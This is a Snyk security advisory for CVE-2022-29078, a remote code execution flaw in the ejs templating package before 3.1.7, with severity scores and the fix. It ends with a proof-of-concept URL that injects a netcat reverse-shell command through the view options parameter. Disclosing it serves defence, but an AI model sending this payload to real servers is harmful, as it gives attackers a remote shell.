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Remote Code Execution (RCE) Affecting ejs package, versions <3.1.7

0.0
high

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 42.53% (98th percentile)
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NVD
9.8 critical
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Red Hat
9.8 critical

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  • Snyk ID SNYK-JS-EJS-2803307
  • published 26 Apr 2022
  • disclosed 26 Apr 2022
  • credit evi0s
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Introduced: 26 Apr 2022

CVE-2022-29078 Open this link in a new tab
CWE-94 Open this link in a new tab

How to fix?

Upgrade ejs to version 3.1.7 or higher.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s